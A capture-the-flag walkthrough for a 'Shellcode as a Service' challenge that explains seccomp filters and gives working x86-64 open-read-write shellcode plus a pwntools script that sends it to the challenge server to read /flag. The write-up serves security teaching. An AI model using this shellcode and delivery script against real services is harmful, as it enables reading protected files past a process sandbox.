Description
Shellcode as a Service.
Setup
Connect to the challenge server with netcat.
Download the binary to analyze the seccomp filter locally.
nc <challenge_host> <PORT_FROM_INSTANCE>wget <challenge_url>/saas # binary for local analysisSolution
- Step 1Analyze the seccomp filter with seccomp-toolsInstall seccomp-tools and dump the BPF filter from the binary. This reveals exactly which syscalls are allowed, which are blocked, and what action is taken on a violation (KILL, TRAP, or ERRNO).
gem install seccomp-toolsseccomp-tools dump ./saas# Or disassemble the filter from binary directly:seccomp-tools disasm <filter_bytes>Learn more
seccomp (Secure Computing Mode) is a Linux kernel mechanism that restricts which syscalls a process can make. In filter mode, the process installs a BPF (Berkeley Packet Filter) program that the kernel runs against every syscall. The BPF program can allow, deny, or kill the process based on the syscall number and arguments.
seccomp-tools disassembles these BPF programs into human-readable output like
A = sys_number; if A == execve: KILL; else: ALLOW. This is essential before writing shellcode - you need to know which syscalls are permitted. Common allowed sets includeread,write,open,openat, andexit, whileexecveis almost always blocked in shellcode sandbox challenges. - Step 2Write shellcode using only allowed syscallsWith execve blocked, pivot to an open-read-write (ORW) shellcode strategy: open /flag, read it into a buffer, then write it to stdout. Assemble the shellcode with pwntools or nasm.
python3 -c "from pwn import *context.arch = 'amd64'shellcode = asm('''/* open("/flag", O_RDONLY) */lea rdi, [rip+flagstr]xor esi, esixor eax, eaxmov al, 2syscall/* read(fd, buf, 64) */mov rdi, raxlea rsi, [rip+buf]mov edx, 64xor eax, eaxsyscall/* write(1, buf, 64) */mov edx, eaxlea rsi, [rip+buf]mov edi, 1mov al, 1syscallflagstr: .string \"/flag\"buf: .space 64''')print(shellcode.hex())"Learn more
Open-Read-Write (ORW) shellcode is the standard approach when
execveis blocked by seccomp. The three syscalls involved are:open(path, flags)- syscall 2 on x86-64, returns a file descriptorread(fd, buf, count)- syscall 0, reads up to count bytes into bufwrite(fd, buf, count)- syscall 1, writes count bytes from buf to fd
RIP-relative addressing (
lea rdi, [rip+offset]) is used to reference the/flagstring embedded after the shellcode instructions. Since shellcode runs at an unknown address, absolute addressing would not work - RIP-relative makes the reference position-independent.If
openatis used instead ofopen(syscall 257), passAT_FDCWD(-100) as the directory file descriptor argument. - Step 3Send the shellcode and receive the flagUse pwntools to send the assembled shellcode bytes to the server. The server maps them into executable memory and runs them - your ORW shellcode reads /flag and writes it back to your connection.
python3 exploit.py# Template:from pwn import *p = remote('<host>', <PORT_FROM_INSTANCE>)context.arch = 'amd64'shellcode = asm(open('shellcode.asm').read())p.send(shellcode)print(p.recvall())Learn more
The challenge name SaaS (Shellcode as a Service) mirrors cloud service acronyms (SaaS, PaaS, IaaS). The server is literally a shellcode execution service - it reads bytes, maps them
RWX, and jumps to them. The seccomp filter is the only defense.If the shellcode must avoid null bytes (because the server reads it with
gets()or similar), use null-free encoding techniques: replacemov rax, 0withxor eax, eax, use short-formalregister writes, and adjust immediate values to avoid zero bytes in the encoding. pwntools'encode_shellcode()can automate null-byte removal for some architectures.
Flag
picoCTF{...}
seccomp blocks execve - use open-read-write (ORW) shellcode to open /flag, read it into a buffer, and write it back to stdout using only the allowed syscalls identified by seccomp-tools.